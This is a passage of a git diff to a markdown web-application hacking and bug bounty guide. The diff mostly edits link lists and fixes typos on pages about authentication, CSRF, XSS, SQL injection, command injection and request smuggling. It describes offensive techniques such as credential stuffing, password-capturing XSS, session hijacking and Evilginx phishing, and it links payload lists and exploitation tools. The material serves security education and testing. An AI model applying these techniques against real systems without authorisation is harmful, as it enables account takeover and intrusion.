Bounty Forum's Tool List](https://bugbountyforum.com/tools/) * [EdOverflow/bugbounty-cheatsheet](https://github.com/EdOverflow/bugbounty-cheatsheet) * [yasinS/bug-bounty-reference](https://github.com/yasinS/bug-bounty-reference) * [Shiva108/Web-CTF-Cheatsheet](https://github.com/Shiva108/CTF-notes/tree/master/Web-CTF-Cheatsheet) -* [Daniel Meissler's Web Security Testing Resources](https://danielmiessler.com/projects/webappsec\_testing\_resources/) -* [Web App Hacking Research by James Kettle](https://skeletonscribe.net/) - Everything that isnt posted on [PortSwigger.com/research](https://portswigger.net/research), this site is the blog for the research done by PortSwigger's Head of research, James Kettle. +* [Daniel Meissler's Web Security Testing Resources](https://danielmiessler.com/projects/webappsec_testing_resources/) +* [Web App Hacking Research by James Kettle](https://skeletonscribe.net/) - Everything that isn't posted on [PortSwigger.com/research](https://portswigger.net/research), this site is the blog for the research done by PortSwigger's Head of research, James Kettle. * [Web App Payload Collection](https://github.com/foospidy/payloads) -* [https://pentestbook.six2dez.com/enumeration/webservices/](https://pentestbook.six2dez.com/enumeration/webservices/) - Tools and attacks for specific web services. +* [Web Services Enumeration](https://pentestbook.six2dez.com/enumeration/webservices/) - Tools and attacks for specific web services. {% endtab %} {% endtabs %} @@ -60,7 +69,7 @@ There is a bug bounty focused search engine at [https://www.bugbountyhunting.com * [https://www.hackerone.com/](https://www.hackerone.com/) * [https://www.bugcrowd.com/](https://www.bugcrowd.com/) - * [https://bugcrowd.com/programs/organizations/cisa](https://bugcrowd.com/programs/organizations/cisa) + * [CISA Bug Bounty Program](https://bugcrowd.com/programs/organizations/cisa) * [https://www.synack.com/](https://www.synack.com/) * [https://cobalt.io/](https://cobalt.io/) * [https://www.intigriti.com](https://www.intigriti.com) @@ -74,8 +83,8 @@ There is a bug bounty focused search engine at [https://www.bugbountyhunting.com {% tab title="Resources and Reference" %} * Methodology - * [https://github.com/Cyber-Guy1/theCyberGuy\_Recon\_V1.0](https://github.com/Cyber-Guy1/theCyberGuy\_Recon\_V1.0) - Great Methodology MindMap - * [https://labs.detectify.com/2021/11/30/hakluke-creating-the-perfect-bug-bounty-automation](https://labs.detectify.com/2021/11/30/hakluke-creating-the-perfect-bug-bounty-automation/) + * [theCyberGuy Recon V1.0](https://github.com/Cyber-Guy1/theCyberGuy_Recon_V1.0) - Bug bounty methodology mind map. + * [Creating the perfect bug bounty automation](https://labs.detectify.com/2021/11/30/hakluke-creating-the-perfect-bug-bounty-automation/) - Detectify/Hakluke automation writeup. * Resource collections * [awesome-bug-bounty](https://github.com/djadmin/awesome-bug-bounty) - is a comprehensive curated list of available Bug Bounty. * [Firebounty](https://firebounty.com) — Bug bounty search engine @@ -86,9 +95,9 @@ There is a bug bounty focused search engine at [https://www.bugbountyhunting.com * [https://honoki.net/2020/10/08/introducing-bbrf-yet-another-bug-bounty-reconnaissance-framework/](https://honoki.net/2020/10/08/introducing-bbrf-yet-another-bug-bounty-reconnaissance-framework/) * Write-ups and Scopes * [Awesome-Bugbounty-Writeups](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups) - is a curated list of bugbounty writeups. - * ****[**bounty-targets-data**](https://github.com/arkadiyt/bounty-targets-data) **-** This repo contains hourly-updated data dumps of bug bounty platform scopes (like Hackerone/Bugcrowd/Intigriti/etc) that are eligible for reports + * [bounty-targets-data](https://github.com/arkadiyt/bounty-targets-data) - Hourly-updated data dumps of in-scope bug bounty targets from HackerOne, Bugcrowd, Intigriti, and others. * [bug-bounty-reference](https://github.com/ngalongc/bug-bounty-reference) - is a list of bug bounty write-ups. - * [Bug bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html) - list of bug bounty writeups (2012-2020). + * [Bug bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html) - Historical bug bounty writeup index from 2012-2020. {% endtab %} {% endtabs %} @@ -108,10 +117,7 @@ There is a bug bounty focused search engine at [https://www.bugbountyhunting.com ## **Training and Resources** -**For resources including offensive security courses, books, CTFs and much more, please check out the Training and Resources section of this guide.** - -* [https://tryhackme.com/module/intro-to-web-hacking](https://tryhackme.com/module/intro-to-web-hacking) -* [crAPI](https://github.com/OWASP/crAPI) - **c**ompletely **r**idiculous **API** (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. +Courses, books, CTFs, and vulnerable training apps are maintained in Training. {% content-ref url="../training/" %} [training](../training/) diff --git a/web-app-hacking/attacks-and-vulnerabilities/README.md b/web-app-hacking/attacks-and-vulnerabilities/README.md index fd01f15..1c23307 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/README.md +++ b/web-app-hacking/attacks-and-vulnerabilities/README.md @@ -1,6 +1,8 @@ # Web App Vulnerabilities -## Broke**n Authentication** +This page is the hub for common web application vulnerability classes. Detailed pages are linked where they already exist; shorter entries stay inline until they grow enough to deserve their own page. + +## Broken Authentication {% content-ref url="broken-authentication.md" %} [broken-authentication.md](broken-authentication.md) @@ -36,8 +38,6 @@ * [https://systemweakness.com/give-me-a-browser-ill-give-you-a-shell-de19811defa0?gi=a6af0aee993e](https://systemweakness.com/give-me-a-browser-ill-give-you-a-shell-de19811defa0?gi=a6af0aee993e) * _Advanced Penetration Testing: Browser Pivoting - pg. 23_ -__ - ## Business logic flaws @@ -56,7 +56,7 @@ __ * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20304.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20304.md) * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Captcha.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Captcha.md) * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Rate%20Limit.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20Rate%20Limit.md) -* [byp4xx](https://github.com/lobuhi/byp4xx) - Pyhhton script for HTTP 40X responses bypassing. Features: Verb tampering, headers, #bugbountytips tricks and 2454 User-Agents. +* [byp4xx](https://github.com/lobuhi/byp4xx) - Python script for HTTP 40X response bypass testing. Features include verb tampering, header tricks, and user-agent rotation. * [403bypasser](https://github.com/yunemse48/403bypasser) - automates the techniques used to circumvent access control restrictions on target pages. * [bypass-403](https://github.com/iamj0ker/bypass-403) - A simple script just made for self use for bypassing 403 @@ -78,10 +78,10 @@ __
-CORS MIsconfig +CORS Misconfig * [Corsy](https://github.com/s0md3v/Corsy) - CORS Misconfiguration Scanner -* [CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner🍻 +* [CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration scanner. * [CORStest](https://github.com/RUB-NDS/CORStest) - A simple CORS misconfiguration scanner * [CorsMe](https://github.com/Shivangx01b/CorsMe) - Cross Origin Resource Sharing MisConfiguration Scanner * [of-CORS](https://github.com/trufflesecurity/of-CORS) - [Truffle Security's](https://trufflesecurity.com/) tool suite for identifying and exploiting CORS misconfigurations on the internal networks of bug bounty targets using typosquatting. @@ -110,7 +110,7 @@ __ [csrf.md](csrf.md) {% endcontent-ref %} -## **Carriage Return and Line Feed Injection** +## **Carriage Return and Line Feed (CRLF) Injection**
@@ -132,7 +132,7 @@ __ * [http://georgemauer.net/2017/10/07/csv-injection.html](http://georgemauer.net/2017/10/07/csv-injection.html) -## Dependancy Confusion +## Dependency Confusion * [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) @@ -142,7 +142,7 @@ __ [deserialization.md](deserialization.md) {% endcontent-ref %} -## **Directory Transversal** +## **Directory Traversal** Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. @@ -185,7 +185,7 @@ Directory traversal (also known as file path traversal) is a web security vulner ## **File Inclusion Vulnerabilities** -File inclusion vulnerabilities allow an attacker to include a file into the applications running code. **** In order to actually exploit a file inclusion vulnerability, we must be able to not only execute code, but also to write our shell payload somewhere. +File inclusion vulnerabilities allow an attacker to include a file into the application's running code. In order to actually exploit a file inclusion vulnerability, we must be able to not only execute code, but also to write our shell payload somewhere. {% tabs %} {% tab title="Identification" %} @@ -208,13 +208,13 @@ File inclusion vulnerabilities allow an attacker to include a file into the appl {% tab title="Reference" %} * [LFI CheatSheet](https://highon.coffee/blog/lfi-cheat-sheet/) -* [File Inclusion Vulnerability Guide ](https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/) +* [File Inclusion Vulnerability Guide](https://www.offsec.com/metasploit-unleashed/file-inclusion-vulnerabilities/) * [https://xapax.github.io/security/#attacking\_web\_applications/local\_file\_inclusion/](https://xapax.github.io/security/#attacking\_web\_applications/local\_file\_inclusion/) * [https://xapax.github.io/security/#attacking\_web\_applications/remote\_file\_inclusion/](https://xapax.github.io/security/#attacking\_web\_applications/remote\_file\_inclusion/) * [https://pentestbook.six2dez.com/enumeration/web/lfi-rfi](https://pentestbook.six2dez.com/enumeration/web/lfi-rfi) * [Comprehensive Guide on Local File Inclusion (LFI)](https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/) * [Comprehensive Guide to Remote File Inclusion (RFI)](https://www.hackingarticles.in/comprehensive-guide-to-remote-file-inclusion-rfi/) -* [https://tryhackme.com/room/lfibasics](https://tryhackme.com/room/lfibasics) +* [TryHackMe LFI Basics](https://tryhackme.com/room/lfibasics) - Training resource; canonical training links are maintained in Training. {% endtab %} {% endtabs %} @@ -307,15 +307,15 @@ File inclusion vulnerabilities allow an attacker to include a file into the appl ## Security Misconfigurations Security misconfigurations include:\ -• Poorly configured permissions on cloud services, like S3 buckets\ -• Having unnecessary features enabled, like services, pages, accounts or privileges\ -• Default accounts with unchanged passwords\ -• Error messages that are overly detailed and allow an attacker to find out more about the system\ -• Not using [HTTP security headers](https://owasp.org/www-project-secure-headers/), or revealing too much detail in the Server: HTTP header +* Poorly configured permissions on cloud services, like S3 buckets. +* Unnecessary features enabled, like services, pages, accounts, or privileges. +* Default accounts with unchanged passwords. +* Error messages that are overly detailed and expose system information. +* Missing [HTTP security headers](https://owasp.org/www-project-secure-headers/) or overly detailed `Server` headers. ## Sidejacking -* [hamster-sidejack](https://www.kali.org/tools/hamster-sidejack/) - Hamster is tool or “sidejacking”. It acts as a proxy server that replaces your cookies with session cookies stolen from somebody else, allowing you to hijack their sessions. +* [hamster-sidejack](https://www.kali.org/tools/hamster-sidejack/) - Legacy sidejacking tool. Kept as historical context; modern session protections and HTTPS make the original workflow much less broadly applicable. ## **SQL Injection** @@ -350,17 +350,15 @@ Security misconfigurations include:\ * [TPLmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool * [https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) * [https://akenofu.gitbook.io/hackallthethings/web-applications/attacks/ssti](https://akenofu.gitbook.io/hackallthethings/web-applications/attacks/ssti) -* [https://owasp.org/www-community/attacks/Server\_Side\_Request\_Forgery](https://owasp.org/www-community/attacks/Server\_Side\_Request\_Forgery) +* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection) * [https://github.com/ambionics/symfony-exploits](https://github.com/ambionics/symfony-exploits) * [https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34](https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34) -* [https://tryhackme.com/room/learnssti](https://tryhackme.com/room/learnssti) +* [TryHackMe SSTI](https://tryhackme.com/room/learnssti) - Training resource; canonical training links are maintained in Training. * _Template Injection - Bug Bounty Hunting Essentials, pg.189_ *
-__ -
## X-Path Injection @@ -376,7 +374,7 @@ __ ## **Web Man-In-The-Middle** -* [Evilginx2](https://github.com/kgretzky/evilginx2) - Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication +* [Evilginx2](https://github.com/kgretzky/evilginx2) - Standalone web phishing/MITM framework used to capture credentials and session cookies. This belongs primarily with social engineering and MITM workflows, not routine web-app testing. * [MITM Proxy](https://mitmproxy.org/) - Mitmproxy is your swiss-army knife for debugging, testing, privacy measurements, and penetration testing. It can be used to intercept, inspect, modify and replay web traffic such as HTTP/1, HTTP/2, WebSockets, or any other SSL/TLS-protected protocols. ## **Web Sockets** diff --git a/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md b/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md index 7f0bd9d..8d8bdf6 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md +++ b/web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md @@ -33,7 +33,7 @@ * Brute forcing passwords * Username Enumeration * Observe changes in the websites behavior depending on input - * Notice changes in Status Codes, Error Messages, and [Response times](https://app.gitbook.com/s/-MQCNQTNhvnXD58Vo8Mf/web-app-hacking/Web\_Applications--Attack\_types--OWASP\_2\_-\_Broken\_Auth\_Attacks--Vuls\_in\_password-based\_login--Username\_enumeration\_via\_different\_responses.html) + * Notice changes in status codes, error messages, and [response times](https://portswigger.net/web-security/authentication/password-based)
@@ -51,11 +51,11 @@ * Create a shortlist of passwords. Quantity should match the lockout attempts * Use intruder to try each of the passwords with each candidate * Credential Stuffing - * Massive dictionary of username/passwrod pairs + * Massive dictionary of username/password pairs * Account locking does not protect against this * User Rate Limiting * In this case, making too many login requests within a short period of time causes your IP address to be blocked - * Can only be unblocked by: After a certain amount of time, by an admin, by the user after a successful CAPCHA + * Can only be unblocked after a certain amount of time, by an admin, or by the user after a successful CAPTCHA. * HTTP Basic Auth * `Authorization: Basic base64(username:password)` * Easy to decrypt diff --git a/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md b/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md index cb505c8..e90a41e 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md +++ b/web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md @@ -42,7 +42,7 @@ One of the best starting places for looking for logic flaws, is to navigate thr * Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not. 6. Refund Feature Abuse * Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible. - * Try for currency arbitrage explained yesterday. + * Try currency arbitrage when the application handles conversion or pricing logic. * Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds. 7. Cart/Wishlist Abuse * Add a product in negative quantity with other products in positive quantity to balance the amount. @@ -86,7 +86,7 @@ One of the best starting places for looking for logic flaws, is to navigate thr * **Making flawed assumptions about user behavior** * Trusted users wont always remain trustworthy * [https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls) - * Users wont alwasy supply mandatory input + * Users will not always supply mandatory input. * [https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint) * [https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic) * Users wont always follow the intended sequence diff --git a/web-app-hacking/attacks-and-vulnerabilities/command-injection.md b/web-app-hacking/attacks-and-vulnerabilities/command-injection.md index 2fd323a..8d486dd 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/command-injection.md +++ b/web-app-hacking/attacks-and-vulnerabilities/command-injection.md @@ -25,15 +25,15 @@ We know that active command injection occurs when you can see the response from ## **Tools and Resources** -* [Commix](https://github.com/commixproject/commix) - Commix is an open source penetration testing tool that automates the detection and exploitation of [command injection](https://www.owasp.org/index.php/Command\_Injection) vulnerabilities. +* [Commix](https://github.com/commixproject/commix) - Commix is an open source penetration testing tool that automates the detection and exploitation of [command injection](https://owasp.org/www-community/attacks/Command_Injection) vulnerabilities. * [https://www.kali.org/tools/commix/](https://www.kali.org/tools/commix/) * [Command Injection to Meterpreter using Commix](https://www.hackingarticles.in/command-injection-meterpreter-using-commix/) * [Exploit Command Injection Vulnerability with Commix and Netcat](https://www.hackingarticles.in/exploit-command-injection-vulnearbility-commix-netcat/) * [Powershell Injection Attacks using Commix and Magic Unicorn](https://www.hackingarticles.in/powershell-injection-attacks-using-commix-magic-unicorn/) * [Commix-Command Injection Exploiter (Beginner’s Guide)](https://www.hackingarticles.in/commix-command-injection-exploiter-beginners-guide/) -* [OWASP Guide to Command Injection](https://owasp.org/www-community/attacks/Command\_Injection) +* [OWASP Guide to Command Injection](https://owasp.org/www-community/attacks/Command_Injection) * [Comprehensive Guide on OS Command Injection](https://www.hackingarticles.in/comprehensive-guide-on-os-command-injection/) * [payloadbox/command-injection-payload-list](https://github.com/payloadbox/command-injection-payload-list) * [PayloadsAllTheThings/CommandInjection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) * [https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html) -* [https://tryhackme.com/room/injection](https://tryhackme.com/room/injection) +* [TryHackMe Injection](https://tryhackme.com/room/injection) - Training resource; canonical training links are maintained in Training. diff --git a/web-app-hacking/attacks-and-vulnerabilities/csrf.md b/web-app-hacking/attacks-and-vulnerabilities/csrf.md index 78d4e1c..fbddae6 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/csrf.md +++ b/web-app-hacking/attacks-and-vulnerabilities/csrf.md @@ -16,9 +16,9 @@ For a CSRF attack to be possible, three key conditions must be in place: * [https://portswigger.net/web-security/csrf/xss-vs-csrf](https://portswigger.net/web-security/csrf/xss-vs-csrf) * [https://portswigger.net/web-security/csrf/tokens](https://portswigger.net/web-security/csrf/tokens) -* [http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html](http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html) -* [https://www.owasp.org/index.php/Testing\_for\_CSRF\_(OTG-SESS-005)](https://www.owasp.org/index.php/Testing\_for\_CSRF\_\(OTG-SESS-005\)) -* [https://www.owasp.org/index.php/Cross-Site\_Request\_Forgery\_(CSRF)](https://www.owasp.org/index.php/Cross-Site\_Request\_Forgery\_\(CSRF\)) +* [How to Exploit CSRF Vulnerabilities](http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html) - Older tutorial; validate examples against current browser behavior. +* [OWASP WSTG: Testing for CSRF](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) +* [OWASP: Cross-Site Request Forgery](https://owasp.org/www-community/attacks/csrf) * [https://pentestbook.six2dez.com/enumeration/web/csrf](https://pentestbook.six2dez.com/enumeration/web/csrf) * [https://kathan19.gitbook.io/howtohunt/csrf/cross\_site\_request\_forgery\_bypass](https://kathan19.gitbook.io/howtohunt/csrf/cross\_site\_request\_forgery\_bypass) * _Cross-Site Request Forgery - Bug Bounty Hunting Essentials, pg 41_ @@ -47,7 +47,7 @@ For a CSRF attack to be possible, three key conditions must be in place: * [https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie) * CSRF token is simply duplicated in a cookie * [https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie) -* Refereer based vulnerabilities +* Referer-based vulnerabilities * [https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present) * [https://portswigger.net/web-security/csrf/lab-referer-validation-broken](https://portswigger.net/web-security/csrf/lab-referer-validation-broken) diff --git a/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md b/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md index ad0e173..a25caca 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md +++ b/web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md @@ -78,7 +78,7 @@ ## **HTTP Header Attacks** -**\*\*\*** In Burp Suite, you can use the [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) extension's "Guess headers" function to automatically probe for supported headers using its extensive built-in wordlist.\*\*\* +In Burp Suite, you can use the [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) extension's "Guess headers" function to automatically probe for supported headers using its extensive built-in wordlist.
diff --git a/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md b/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md index 5163983..0285508 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md +++ b/web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md @@ -34,5 +34,4 @@ h2csmuggler.py -x https://example.com/ --test This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program. * [https://www.intruder.io/research/practical-http-header-smuggling](https://www.intruder.io/research/practical-http-header-smuggling) - Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling. * [https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/](https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/) - Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling. -* [https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142](https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142) * [https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions](https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions) diff --git a/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md b/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md index a599235..3eaad21 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md +++ b/web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md @@ -6,10 +6,10 @@ ## Basics -[https://owasp.org/www-project-top-ten/2017/A5\_2017-Broken\_Access\_Control.html](https://owasp.org/www-project-top-ten/2017/A5\_2017-Broken\_Access\_Control.html)\ +[OWASP Top 10: Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\ \ For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this [https://example.com/bank?account\_number=1234](https://example.com/bank?account\_number=1234). On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.\ -There is however a potentially huge problem here, a hacker may be able to change the account\_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information. +There is however a potentially huge problem here: an attacker may be able to change the `account_number` parameter to something else like `1235`, and if the site is incorrectly configured, then they would have access to someone else's bank information. ### **How to Find** diff --git a/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md b/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md index 809cf46..191f9d6 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md +++ b/web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md @@ -48,7 +48,7 @@ Cross-site scripting (also known as XSS) is a web security vulnerability that al * [https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords) * Performing CSRF - Anything a legitimate user can do on a web site, you can probably do too with XSS. Depending on the site you're targeting, you might be able to make a victim send a message, accept a friend request, commit a backdoor to a source code repository, or transfer some Bitcoin. Some websites allow logged-in users to change their email address without re-entering their password. If you've found an XSS vulnerability, you can make it trigger this functionality to change the victim's email address to one that you control, and then trigger a password reset to gain access to the account. * [https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf) -* Self XSS - When a user is tricked into executing XSS on themsleves. +* Self XSS - When a user is tricked into executing XSS on themselves. * [https://www.youtube.com/watch?v=l3yThCIF7e4](https://www.youtube.com/watch?v=l3yThCIF7e4) {% endtab %} @@ -215,7 +215,7 @@ XSS in HTML tag attributes. - When the XSS context is into an HTML tag attribut * [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked) * Making use of HTML encoding - When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters. When the browser has parsed out the HTML tags and attributes within a response, it will perform HTML-decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by * [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped) -* XSS in JavaScrit Template Literals - JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the `${...}` syntax +* XSS in JavaScript Template Literals - JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the `${...}` syntax. * [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped) {% endtab %} diff --git a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md index 9d3c47a..4e6e954 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md +++ b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md @@ -7,7 +7,7 @@ * [https://www.sqlinjection.net/](https://www.sqlinjection.net/) * [https://owasp.org/www-community/attacks/SQL\_Injection](https://owasp.org/www-community/attacks/SQL\_Injection) * [https://owasp.org/www-community/Injection\_Flaws](https://owasp.org/www-community/Injection\_Flaws) -* [http://securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html](http://securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html) +* [SecurityIdiots SQLi basics](http://securityidiots.com/Web-Pentest/SQL-Injection/Part-1-Basic-of-SQL-for-SQLi.html) - Older tutorial; verify examples against current DBMS behavior. * [https://www.w3schools.com/sql/default.asp](https://www.w3schools.com/sql/default.asp) * [https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423](https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423) * [https://cheatsheetseries.owasp.org/cheatsheets/Injection\_Prevention\_Cheat\_Sheet.html#sql-injection](https://cheatsheetseries.owasp.org/cheatsheets/Injection\_Prevention\_Cheat\_Sheet.html#sql-injection) @@ -23,7 +23,7 @@ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) * [https://github.com/payloadbox/sql-injection-payload-list/](https://github.com/payloadbox/sql-injection-payload-list/) * [https://websec.ca/kb/sql\_injection](https://websec.ca/kb/sql\_injection) -* [http://pentestmonkey.net/category/cheat-sheet/sql-injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection) +* [Pentestmonkey SQL injection cheat sheets](http://pentestmonkey.net/category/cheat-sheet/sql-injection) - Older but still widely referenced. * [https://www.codecademy.com/articles/sql-commands](https://www.codecademy.com/articles/sql-commands) {% endtab %} {% endtabs %} @@ -32,7 +32,7 @@ [sql-tips-and-tricks.md](sql-tips-and-tricks.md) {% endcontent-ref %} -## ****[**SQLmap**](https://github.com/sqlmapproject/sqlmap) **** +## [SQLmap](https://github.com/sqlmapproject/sqlmap) SQL Injection tool that can spawn a meterpreter or VNC session back to attacker. Can return a decent number of false positives. Always verify. If you do not specify a value, SQLmap will attempt all by default @@ -42,11 +42,10 @@ SQL Injection tool that can spawn a meterpreter or VNC session back to attacker. * Maps out and locates admin panel * Query dorking for finding targets * hash lookup -* [https://www.binarytides.com/sqlmap-hacking-tutorial/](https://www.binarytides.com/sqlmap-hacking-tutorial/) * 